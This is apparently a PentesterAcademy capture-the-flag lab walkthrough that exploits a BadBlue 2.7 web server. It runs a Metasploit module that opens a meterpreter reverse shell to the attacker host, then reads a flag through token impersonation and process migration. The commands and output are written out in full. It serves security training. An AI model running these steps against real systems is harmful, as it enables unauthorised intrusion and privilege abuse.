
ATTACK
DEFENSE
by PentesterAcademy

Name	Impersonate
URL	https://attackdefense.com/challengedetails?cid=2333
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.28.27
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.28.27

```
root@attackdefense:~# nmap 10.0.28.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 18:19 IST
Nmap scan report for 10.0.28.27
Host is up (0.058s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.44 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.28.27

```
root@attackdefense:~# nmap -sV -p 80 10.0.28.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 18:20 IST
Nmap scan report for 10.0.28.27
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
root@attackdefense:~#
```

Step 4: We will search the exploit module for badblue 2.7 using searchsploit.

Command: searchsploit badblue 2.7

```
root@attackdefense:~# searchsploit badblue 2.7
------------------------------------------------------------
 Exploit Title
------------------------------------------------------------
BadBlue 2.72 - PassThru Remote Buffer Overflow
BadBlue 2.72b - Multiple Vulnerabilities
BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Working Resources BadBlue 1.2.7 - Denial of Service
Working Resources BadBlue 1.2.7 - Full Path Disclosure
------------------------------------------------------------
Shellcodes: No Results
Papers: No Results
root@attackdefense:~#
```

Step 5: There is a Metasploit module for badblue server. We will use PassThru remote buffer overflow Metasploit module to exploit the target.

Commands:

msfconsole
use exploit/windows/http/badblue_passthru
set RHOSTS 10.0.28.27
exploit
getuid
ps

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/badblue_passthru
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS 10.0.28.27
RHOSTS => 10.0.28.27
msf6 exploit(windows/http/badblue_passthru) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (175174 bytes) to 10.0.28.27
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.28.27:49857) at 2021-04-07 18:21:10 +0530

meterpreter > getuid
Server username: ATTACKDEFENSE\Administrator
meterpreter >
```

```
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 88    4     Registry              x64   0
 392   4     smss.exe              x64   0
 436   764   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 500   764   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 552   536   csrss.exe             x64   0
 628   536   wininit.exe           x64   0
 636   620   csrss.exe             x64   1
 660   764   msdtc.exe             x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\msdtc.exe
 700   620   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 764   628   services.exe          x64   0
 780   628   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 788   764   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 872   700   dwm.exe               x64   1        Window Manager\DWM-1          C:\Windows\System32\dwm.exe
 884   764   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 904   764   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 924   628   fontdrvhost.exe       x64   0        Font Driver Host\UMFD-0       C:\Windows\System32\fontdrvhost.exe
 932   700   fontdrvhost.exe       x64   1        Font Driver Host\UMFD-1       C:\Windows\System32\fontdrvhost.exe
 1004  764   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1044  764   vds.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\vds.exe
 1100  764   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1120  764   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1128  764   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1196  764   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1264  764   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1296  4080  ctfmon.exe            x64   1        ATTACKDEFENSE\Administrator   C:\Windows\System32\ctfmon.exe
 1308  764   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1336  764   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1348  764   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
```

We have successfully exploited a badblue server and we are running as an administrator user.

Step 6: Trying to read the flag, which is located in **C:\\Users\\Student\\Desktop\\flag.txt**

Command: cat C:\\Users\\Student\\Desktop\\flag.txt

```
meterpreter > cat C:\\Users\\Student\\Desktop\\flag.txt
[-] 4: Operation failed: Access is denied.
meterpreter >
```

Step 7: Administrator user cannot read the flag. The flag is located into the Student user's Desktop folder. Load incognito plugin and check all available tokens.

Command: load incognito
list_tokens -u

Note: If you don't see a student user token then wait for 1-2 minutes.

```
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
ATTACKDEFENSE\Administrator
ATTACKDEFENSE\student
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

Impersonation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
NT AUTHORITY\NETWORK SERVICE
Window Manager\DWM-2

meterpreter >
```

Step 8: We can notice that the student user token is available. Impersonate the student user token and read the flag.

Command: impersonate_token ATTACKDEFENSE\\student
cat C:\\Users\\Student\\Desktop\\flag.txt

```
meterpreter > impersonate_token ATTACKDEFENSE\\student
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user ATTACKDEFENSE\student
meterpreter >
```

```
meterpreter > cat C:\\Users\\Student\\Desktop\\flag.txt
a306697d670a569d4fc6c19afea37d94meterpreter >
```

This revealed the flag to us:

Flag: a306697d670a569d4fc6c19afea37d94

Step 9: We can also migrate the administrator's user process into the student user's process and we can still read the flag.txt

Commands: rev2self <reverse the token>
getuid

```
meterpreter > rev2self
meterpreter > getuid
Server username: ATTACKDEFENSE\Administrator
meterpreter >
```

Check all the running processes and find a process that is associated with the student user.

Command: ps

```
 5392  6820  firefox.exe              x64   1        ATTACKDEFENSE\Administrator
 5456  3988  ctfmon.exe               x64   2        ATTACKDEFENSE\student
 5616  772   vds.exe                  x64   0        NT AUTHORITY\SYSTEM
 5648  5632  explorer.exe             x64   2        ATTACKDEFENSE\student
 5892  912   ShellExperienceHost.exe  x64   2        ATTACKDEFENSE\student
5n1h2txyewy\ShellExperienceHost.exe
 5980  912   SearchUI.exe             x64   2        ATTACKDEFENSE\student
ana_cw5n1h2txyewy\SearchUI.exe
 6092  912   RuntimeBroker.exe        x64   2        ATTACKDEFENSE\student
 6164  912   RuntimeBroker.exe        x64   2        ATTACKDEFENSE\student
 6272  912   WmiPrvSE.exe             x64   0        NT AUTHORITY\SYSTEM
 6488  772   svchost.exe              x64   0        NT AUTHORITY\SYSTEM
 6612  772   svchost.exe              x64   0        NT AUTHORITY\SYSTEM
 6636  772   svchost.exe              x64   0        NT AUTHORITY\SYSTEM
 6656  772   msdtc.exe                x64   0        NT AUTHORITY\NETWORK SERVICE
 6664  6820  firefox.exe              x64   1        ATTACKDEFENSE\Administrator
 6704  772   svchost.exe              x64   0        NT AUTHORITY\SYSTEM
 6780  772   amazon-ssm-agent.exe     x64   0        NT AUTHORITY\SYSTEM
```

Migrate the process into the student's explorer process.

Command: migrate 5648
getuid

```
meterpreter > migrate 5648
[*] Migrating from 4272 to 5648...
[*] Migration completed successfully.
meterpreter > getuid
Server username: ATTACKDEFENSE\student
meterpreter >
```

Read the flag again.

Command: cat C:\\Users\\Student\\Desktop\\flag.txt

```
meterpreter > cat C:\\Users\\Student\\Desktop\\flag.txt

a306697d670a569d4fc6c19afea37d94meterpreter >
meterpreter >
```

References

1. BadBlue Multiple Vulnerabilities (https://www.exploit-db.com/exploits/16806)
2. Metasploit Modules (https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)